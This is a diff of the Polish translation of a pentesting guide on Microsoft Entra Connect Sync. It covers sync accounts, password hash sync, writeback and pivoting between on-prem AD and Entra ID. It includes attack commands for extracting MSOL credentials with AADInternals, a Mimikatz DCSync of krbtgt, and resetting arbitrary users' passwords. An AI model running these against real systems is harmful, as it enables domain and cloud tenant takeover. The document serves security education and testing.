Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md

@@ -1,62 +1,66 @@
 # Az - Connect Sync
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Podstawowe informacje
 
-[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) to główny komponent Microsoft Entra Connect. Zajmuje się wszystkimi operacjami związanymi z synchronizacją danych tożsamości między Twoim lokalnym środowiskiem a Microsoft Entra ID.
+[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) jest głównym komponentem Microsoft Entra Connect. Odpowiada za wszystkie operacje związane z synchronizacją danych tożsamości między Twoim środowiskiem on-premises a Microsoft Entra ID.
+
+Usługa sync składa się z dwóch komponentów: on-premises komponentu **Microsoft Entra Connect Sync** oraz strony serwisowej w Microsoft Entra ID nazwanego **Microsoft Entra Connect Sync service**.
+
+Aby z niej korzystać, konieczne jest zainstalowanie agenta **`Microsoft Entra Connect Sync`** na serwerze w środowisku AD. Ten agent będzie odpowiadał za synchronizację ze strony AD.
 
-Aby z niego skorzystać, należy zainstalować agenta **`Microsoft Entra Connect Sync`** na serwerze w Twoim środowisku AD. To ten agent będzie odpowiedzialny za synchronizację z strony AD.
 
 <figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
 
-**Connect Sync** to zasadniczo "stary" sposób Azure na **synchronizację użytkowników z AD do Entra ID.** Nowym zalecanym sposobem jest użycie **Entra Cloud Sync**:
+**Connect Sync** to w zasadzie „stary” sposób w Azure na **synchronizowanie użytkowników z AD do Entra ID.** Nowo rekomendowaną metodą jest użycie **Entra Cloud Sync**:
 
 {{#ref}}
 az-cloud-sync.md
 {{#endref}}
 
-### Wygenerowane zasady
+### Generowane principals
 
-- Konto **`MSOL_<installationID>`** jest automatycznie tworzone w lokalnym AD. To konto otrzymuje rolę **Directory Synchronization Accounts** (zobacz [dokumentację](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), co oznacza, że ma **uprawnienia replikacji (DCSync) w lokalnym AD**.
-- Oznacza to, że każdy, kto skompromituje to konto, będzie mógł skompromitować lokalną domenę.
-- W lokalnym AD tworzone jest zarządzane konto serwisowe **`ADSyncMSA<id>`** bez żadnych specjalnych domyślnych uprawnień.
+- Konto **`MSOL_<installationID>`** jest automatycznie tworzone w on-prem AD. Temu kontu przypisywana jest rola **Directory Synchronization Accounts** (zob. [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), co oznacza, że ma uprawnienia do **replication (DCSync) w on-prem AD**.
+- Oznacza to, że każdy, kto przejmie to konto, będzie w stanie przejąć domenę on-premise.
+- W on-prem AD tworzone jest konto zarządzane **`ADSyncMSA<id>`** bez specjalnych domyślnych uprawnień.
 - W Entra ID tworzony jest Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** z certyfikatem.
 
-## Synchronizacja haseł
+## Synchronize Passwords
 
-### Synchronizacja skrótów haseł
+### Password Hash Synchronization
 
-Ten komponent może być również używany do **synchronizacji haseł z AD do Entra ID**, aby użytkownicy mogli używać swoich haseł AD do logowania się do Entra ID. W tym celu należy zezwolić na synchronizację skrótów haseł w agencie Microsoft Entra Connect Sync zainstalowanym na serwerze AD.
+Ten komponent może być także użyty do **synchronizacji haseł z AD do Entra ID**, dzięki czemu użytkownicy będą mogli używać swoich haseł AD do logowania w Entra ID. W tym celu należy włączyć password hash synchronization w agencie Microsoft Entra Connect Sync zainstalowanym na serwerze AD.
 
-[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Synchronizacja skrótów haseł** to jedna z metod logowania używanych do osiągnięcia hybrydowej tożsamości. **Azure AD Connect** synchronizuje skrót, skrótu, hasła użytkownika z lokalnej instancji Active Directory do instancji Azure AD w chmurze.
+[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** jest jedną z metod logowania używanych do osiągnięcia tożsamości hybrydowej. **Azure AD Connect** synchronizuje hash, skrótu hasha, hasła użytkownika z lokalnej instancji Active Directory do chmurowej instancji Azure AD.
 
-Zasadniczo, wszyscy **użytkownicy** oraz **skrót skrótów haseł** są synchronizowani z lokalnego AD do Azure AD. Jednak **hasła w postaci czystego tekstu** ani **oryginalne** **skróty** nie są wysyłane do Azure AD.
+W praktyce wszyscy **użytkownicy** oraz **hash skrótów haseł** są synchronizowani z on-prem do Azure AD. Jednak **hasła w postaci jawnej** ani **oryginalne** **hashe** nie są wysyłane do Azure AD.
 
-**Synchronizacja skrótów** odbywa się co **2 minuty**. Jednak domyślnie **wygaszenie haseł** i **wygaszenie konta** **nie są synchronizowane** w Azure AD. Tak więc użytkownik, którego **lokalne hasło wygasło** (nie zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** za pomocą starego hasła.
+Synchronizacja **hashy** odbywa się co **2 minuty**. Domyślnie **wygasanie hasła** i **wygasanie konta** **nie są synchronizowane** w Azure AD. Zatem użytkownik, którego **on-prem hasło wygasło** (nie zostało zmienione), może nadal **uzyskiwać dostęp do zasobów Azure** przy użyciu starego hasła.
 
-Gdy lokalny użytkownik chce uzyskać dostęp do zasobu Azure, **uwierzytelnienie odbywa się w Azure AD**.
+Gdy użytkownik on-prem chce uzyskać dostęp do zasobu w Azure, **uwierzytelnianie odbywa się w Azure AD**.
 
 > [!NOTE]
-> Domyślnie użytkownicy znanych grup uprzywilejowanych, takich jak Administratorzy Domeny, z atrybutem **`adminCount` równym 1, nie są synchronizowani** z Entra ID z powodów bezpieczeństwa. Jednak inni użytkownicy, którzy są częścią grup uprzywilejowanych bez tego atrybutu lub którzy mają przypisane wysokie uprawnienia bezpośrednio, **mogą być synchronizowani**.
+> Domyślnie użytkownicy z znanych uprzywilejowanych grup, takich jak Domain Admins, z atrybutem **`adminCount` ustawionym na 1 NIE SĄ synchronizowani** z Entra ID ze względów bezpieczeństwa. Jednak inni użytkownicy, którzy należą do uprzywilejowanych grup bez tego atrybutu lub którzy mają przypisane wysokie uprawnienia bezpośrednio, **MOGĄ być synchronizowani**.
 
-### Zapis hasła
 
-Ta konfiguracja pozwala na **synchronizację haseł z Entra ID do AD**, gdy użytkownik zmienia swoje hasło w Entra ID. Należy pamiętać, że aby zapis hasła działał, użytkownik `MSOL_<id>` automatycznie generowany w AD musi otrzymać [więcej uprawnień, jak wskazano w dokumentacji](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), aby mógł **zmieniać hasła dowolnego użytkownika w AD**.
+### Password Writeback
 
-Jest to szczególnie interesujące, aby skompromitować AD z skompromitowanego Entra ID, ponieważ będziesz mógł zmienić hasło "prawie" dowolnego użytkownika.
+Ta konfiguracja pozwala na **synchronizowanie haseł z Entra ID do AD**, gdy użytkownik zmieni hasło w Entra ID. Zwróć uwagę, że aby password writeback działał, użytkownik `MSOL_<id>` automatycznie wygenerowany w AD musi otrzymać [dodatkowe uprawnienia zgodnie z dokumentacją](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), tak aby mógł **modyfikować hasła dowolnego użytkownika w AD**.
 
-Administratorzy domeny i inni użytkownicy należący do niektórych grup uprzywilejowanych nie są replikowani, jeśli grupa ma atrybut **`adminCount` równy 1**. Ale inni użytkownicy, którzy otrzymali wysokie uprawnienia w AD, nie należąc do żadnej z tych grup, mogą mieć zmienione hasło. Na przykład:
+Jest to szczególnie interesujące z punktu widzenia kompromitacji AD z przejętego Entra ID, ponieważ umożliwia zmianę hasła „prawie” dowolnego użytkownika.
 
-- Użytkownicy przypisani bezpośrednio do wysokich uprawnień.
+Domain Admins i inni użytkownicy należący do niektórych uprzywilejowanych grup nie są replikowani, jeśli grupa ma atrybut **`adminCount` ustawiony na 1**. Jednak inni użytkownicy, którym przypisano wysokie uprawnienia wewnątrz AD bez przynależności do tych grup, mogą mieć zmienione hasło. Na przykład:
+
+- Użytkownicy, którym bezpośrednio przypisano wysokie uprawnienia.
 - Użytkownicy z grupy **`DNSAdmins`**.
-- Użytkownicy z grupy **`Group Policy Creator Owners`**, którzy stworzyli GPO i przypisali je do OU, będą mogli modyfikować GPO, które stworzyli.
-- Użytkownicy z grupy **`Cert Publishers Group`**, którzy mogą publikować certyfikaty w Active Directory.
-- Użytkownicy z jakiejkolwiek innej grupy z wysokimi uprawnieniami bez atrybutu **`adminCount` równym 1**.
+- Użytkownicy z grupy **`Group Policy Creator Owners`**, którzy utworzyli GPO i przypisali je do OU, będą mogli modyfikować GPO, które utworzyli.
+- Użytkownicy z grupy **`Cert Publishers Group`**, którzy mogą publikować certyfikaty do Active Directory.
+- Użytkownicy z dowolnej innej grupy o wysokich uprawnieniach bez atrybutu **`adminCount` ustawionego na 1**.
 
-## Pivotowanie AD --> Entra ID
+## Pivoting AD --> Entra ID
 
-### Enumeracja Connect Sync
+### Enumerating Connect Sync
 
 Sprawdź użytkowników:
 ```bash
@@ -76,25 +80,25 @@ $searcher.FindAll()
 $searcher.Filter = "(samAccountName=Sync_*)"
 $searcher.FindAll()
 ```
-Sprawdź konfigurację **Connect Sync** (jeśli istnieje):
+Sprawdź **Connect Sync configuration** (jeśli istnieje):
 ```bash
 az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
 # Check if password sychronization is enabled, if password and group writeback are enabled...
 ```
 ### Znajdowanie haseł
 
-Hasła użytkownika **`MSOL_*`** (i użytkownika **Sync\_\***, jeśli został utworzony) są **przechowywane w serwerze SQL** na serwerze, na którym **zainstalowano Entra ID Connect.** Administratorzy mogą wydobyć hasła tych uprzywilejowanych użytkowników w postaci czystego tekstu.\
+Hasła użytkownika **`MSOL_*`** (oraz użytkownika **Sync\_\*** jeśli został utworzony) są **przechowywane w SQL Server** na serwerze, na którym zainstalowano **Entra ID Connect**. Administratorzy mogą wyodrębnić hasła tych uprzywilejowanych użytkowników w postaci jawnej.\
 Baza danych znajduje się w `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
 
-Możliwe jest wydobycie konfiguracji z jednej z tabel, z której jedna jest zaszyfrowana:
+Można wyodrębnić konfigurację z jednej z tabel — jedna z nich jest zaszyfrowana:
 
 `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
 
-**Zaszyfrowana konfiguracja** jest szyfrowana za pomocą **DPAPI** i zawiera **hasła użytkownika `MSOL_*`** w lokalnym AD oraz hasło **Sync\_\*** w AzureAD. Dlatego kompromitując te dane, można uzyskać dostęp do AD i AzureAD.
+The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.
 
-Możesz znaleźć [pełny przegląd tego, jak te poświadczenia są przechowywane i odszyfrowywane w tej prezentacji](https://www.youtube.com/watch?v=JEIR5oGCwdg).
+You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
 
-### Wykorzystywanie MSOL\_*
+### Wykorzystywanie MSOL\_\*
 ```bash
 # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
 Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
@@ -112,11 +116,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
 ```
 > [!WARNING]
-> Poprzednie ataki skompromitowały inne hasło, aby następnie połączyć się z użytkownikiem Entra ID o nazwie `Sync_*` i skompromitować Entra ID. Jednak ten użytkownik już nie istnieje.
+> Poprzednie ataki doprowadziły do kompromitacji drugiego hasła, aby połączyć się z kontem Entra ID o nazwie `Sync_*` i następnie skompromitować Entra ID. Jednak to konto już nie istnieje.
+
 
 ### Wykorzystywanie ConnectSyncProvisioning_ConnectSync\_<id>
 
-Aplikacja ta została stworzona bez przypisanych ról zarządzania Entra ID lub Azure. Jednak ma następujące uprawnienia API:
+Ta aplikacja jest tworzona bez przypisanych ról zarządzania Entra ID lub Azure. Jednak ma następujące uprawnienia API:
 
 - Microsoft Entra AD Synchronization Service
 - `ADSynchronization.ReadWrite.All`
@@ -125,21 +130,20 @@ Aplikacja ta została stworzona bez przypisanych ról zarządzania Entra ID lub
 - `PasswordWriteback.RefreshClient.All`
 - `PasswordWriteback.RegisterClientVersion.All`
 
-Wspomniano, że SP tej aplikacji może być nadal używany do wykonywania niektórych uprzywilejowanych działań za pomocą niedokumentowanego API, ale jak dotąd nie znaleziono żadnego PoC, o ile mi wiadomo.\
-W każdym razie, myśląc, że może to być możliwe, warto zbadać, jak znaleźć certyfikat do logowania się jako ten principal usługowy i spróbować go wykorzystać.
+Wspomina się, że SP tej aplikacji nadal może być użyty do wykonania niektórych uprzywilejowanych działań przy użyciu nieudokumentowanego API, jednak o ile mi wiadomo nie znaleziono jeszcze PoC.\ W każdym razie, zakładając, że to może być możliwe, warto by dalej zbadać, jak znaleźć certyfikat pozwalający zalogować się jako ten service principal i spróbować go wykorzystać.
 
-Ten [post na blogu](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) został opublikowany tuż przed zmianą z używania użytkownika `Sync_*` na ten principal usługowy, wyjaśnił, że certyfikat był przechowywany na serwerze i możliwe było jego znalezienie, wygenerowanie PoP (Proof of Possession) oraz tokenu grafowego, a dzięki temu można było dodać nowy certyfikat do principal usługowy (ponieważ **principal usługowy** zawsze może przypisać sobie nowe certyfikaty) i następnie użyć go do utrzymania trwałości jako SP.
+Ten [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) opublikowany wkrótce po zmianie z używania użytkownika `Sync_*` na tego service principal, wyjaśniał, że certyfikat był przechowywany na serwerze i można go było odnaleźć, wygenerować dla niego PoP (Proof of Possession) oraz graph token, a dzięki temu dodać nowy certyfikat do service principal (ponieważ a **service principal** zawsze może przypisać sobie nowe certyfikaty) i następnie użyć go do utrzymania trwałego dostępu jako SP.
 
-Aby wykonać te działania, opublikowane są następujące narzędzia: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
+Aby wykonać te czynności opublikowano następujące narzędzia: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
 
-Z mojego doświadczenia wynika, że certyfikat nie jest już przechowywany w miejscu, w którym poprzednie narzędzie go szukało, dlatego narzędzie już nie działa. Może być więc potrzebne dalsze badanie.
+Zgodnie z [this question](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), aby znaleźć certyfikat, musisz uruchomić narzędzie z procesu, który **wykradł token procesu `miiserver`**.
 
 ### Wykorzystywanie Sync\_\* [DEPRECATED]
 
 > [!WARNING]
-> Wcześniej użytkownik o nazwie `Sync_*` został utworzony w Entra ID z bardzo wrażliwymi uprawnieniami, które pozwalały na wykonywanie uprzywilejowanych działań, takich jak modyfikowanie hasła dowolnego użytkownika lub dodawanie nowego poświadczenia do principal usługowy. Jednak od stycznia 2025 ten użytkownik nie jest już tworzony domyślnie, ponieważ teraz używana jest aplikacja/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Może jednak nadal być obecny w niektórych środowiskach, więc warto to sprawdzić.
+> Wcześniej w Entra ID tworzone było konto o nazwie `Sync_*` z bardzo wrażliwymi przypisanymi uprawnieniami, co pozwalało wykonywać uprzywilejowane działania, takie jak zmiana hasła dowolnego użytkownika lub dodanie nowego credential do service principal. Jednak od Jan2025 to konto nie jest już domyślnie tworzone, ponieważ używana jest teraz aplikacja/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Mimo to może nadal występować w niektórych środowiskach, więc warto to sprawdzić.
 
-Skompromitowanie konta **`Sync_*`** umożliwia **zresetowanie hasła** dowolnego użytkownika (w tym Globalnych Administratorów).
+Kompromitując konto **`Sync_*`** można **zresetować hasło** dowolnego użytkownika (w tym Global Administrators)
 ```bash
 Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
 Import-Module AADInternals
@@ -163,7 +167,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
 
 # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
 ```
-Możliwe jest również **zmienienie haseł tylko użytkowników chmurowych** (nawet jeśli to nieoczekiwane)
+Można też **zmodyfikować hasła jedynie użytkowników cloud** (nawet jeśli to nieoczekiwane)
 ```bash
 # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
 # The CloudAnchor is of the format USER_ObjectID.
@@ -175,7 +179,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
 Możliwe jest również zrzucenie hasła tego użytkownika.
 
 > [!CAUTION]
-> Inną opcją byłoby **przyznanie uprawnień uprzywilejowanych dla principal usługi**, co użytkownik **Sync** ma **uprawnienia** do zrobienia, a następnie **uzyskanie dostępu do tego principal usługi** jako sposób na privesc.
+> Inną opcją byłoby **przydzielenie uprzywilejowanych uprawnień do service principal**, które użytkownik **Sync** ma **uprawnienia** wykonać, a następnie **uzyskanie dostępu do tego service principal** jako sposób privesc.
 
 ### Seamless SSO
 
@@ -187,8 +191,8 @@ az-seamless-sso.md
 
 ## Pivoting Entra ID --> AD
 
-- Jeśli włączono zapis hasła, możesz **zmodyfikować hasło dowolnego użytkownika w AD**, który jest synchronizowany z Entra ID.
-- Jeśli włączono zapis grup, możesz **dodać użytkowników do uprzywilejowanych grup** w Entra ID, które są synchronizowane z AD.
+- Jeśli password writeback jest włączony, możesz **zmodyfikować hasło dowolnego użytkownika w AD** który jest synchronizowany z Entra ID.
+- Jeśli groups writeback jest włączony, możesz **dodać użytkowników do uprzywilejowanych grup** w Entra ID, które są synchronizowane z AD.
 
 ## References
 
@@ -199,4 +203,4 @@ az-seamless-sso.md
 - [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
 - [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
 
-{{#include ../../../../banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}